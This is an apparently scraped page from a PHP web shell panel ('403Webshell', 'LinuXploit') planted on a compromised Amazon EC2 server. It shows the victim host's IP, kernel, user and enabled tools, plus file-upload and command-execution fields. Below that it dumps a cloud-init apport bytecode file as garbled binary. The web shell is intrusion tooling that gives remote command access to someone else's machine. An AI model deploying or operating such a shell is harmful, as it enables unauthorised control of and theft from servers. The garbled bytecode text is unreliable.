403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.9/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/cloudinit/__pycache__/apport.cpython-39.pyc
a

�½b��@s�dZzddlmZmZmZdZWney6dZYn0gd�ZdZdZ	dZ
dd
d�Zddd
�Zddd�Z
ddd�Zdd�Zdd�Zd	S)zCloud-init apport interface�)�attach_file�attach_root_command_outputs�root_command_outputTF)ZAliYunZAltCloudzAmazon - Ec2ZAzureZBigstepZ	BrightboxZ
CloudSigmaZ
CloudStackZDigitalOceanZE24CloudzGCE - Google Compute EngineZExoscalez
Hetzner Cloudz IBM - (aka SoftLayer or BlueMix)ZLXDZMAASZNoCloudZ
OpenNebulaZ	OpenStackZOracleZOVFz'RbxCloud - (HyperOne, Rootbox, Rubikon)ZOpenTelekomCloudzSAP Converged CloudZScalewayZSmartOSZUpCloudZVMwareZVultrZZStackZOtherz/var/log/cloud-init.logz/var/log/cloud-init-output.logz%/var/lib/cloud/instance/user-data.txtNcCs,t|ddd��tgd��t|dd�dS)zBAttach cloud-init logs and tarfile from 'cloud-init collect-logs'.z-egrep -i "warn|error" /var/log/cloud-init.logz"cat /var/log/cloud-init-output.log)zcloud-init-log-warningszcloud-init-output.log.txt)z
cloud-initzcollect-logsz-t�/tmp/cloud-init-logs.tgzrzlogs.tgzN)rrr��report�ui�r	�4/usr/lib/python3.9/site-packages/cloudinit/apport.py�attach_cloud_init_logs;s��	�rcCs$d}|r |�|�r t|ddi�dS)z*Optionally attach hardware info from lshw.z�Your device details (lshw) may be useful to developers when addressing this bug, but gathering it requires admin privileges. Would you like to include this info?zlshw.txtZlshwN)�yesnor)rr�promptr	r	r
�
attach_hwinfoLs�rcCsT|rPd}|�|�}|durt�|rPd}|�|t�}|rHt|d|d<nd|d<dS)z&Prompt for cloud details if available.z/Is this machine running in a cloud environment?NzOPlease select the cloud vendor or environment in which this instance is runningrZ	CloudName�None)r�
StopIterationZchoice�KNOWN_CLOUD_NAMES�rrr
Zresponser	r	r
�attach_cloud_infoWs
�rcCs8|r4d�t�}|�|�}|dur$t�|r4t|td�dS)z(Optionally provide user-data if desired.z�Your user-data or cloud-config file can optionally be provided from {0} and could be useful to developers when addressing this bug. Do you wish to attach user-data to this bug?Nz
user_data.txt)�format�USER_DATA_FILErrrrr	r	r
�attach_user_datajs��
rcCs(d|��vr$|d}d|vr$d|d<dS)z$Add any appropriate tags to the bug.Z
JournalErrorszBreaking ordering cyclezsystemd-orderingZTagsN)�keys)r�errorsr	r	r
�add_bug_tags{srcCs@tstd��t||�t||�t||�t||�t|�dS)a-This is an entry point to run cloud-init's apport functionality.

    Distros which want apport support will have a cloud-init package-hook at
    /usr/share/apport/package-hooks/cloud-init.py which defines an add_info
    function and returns the result of cloudinit.apport.add_info(report, ui).
    z;No apport imports discovered. Apport functionality disabledT)�
has_apport�RuntimeErrorrrrrrrr	r	r
�add_info�s�



r)N)N)N)N)�__doc__Zapport.hookutilsrrrr�ImportErrorrZ
CLOUDINIT_LOGZCLOUDINIT_OUTPUT_LOGrrrrrrrr	r	r	r
�<module>s
#





Youez - 2016 - github.com/yon3zu
LinuXploit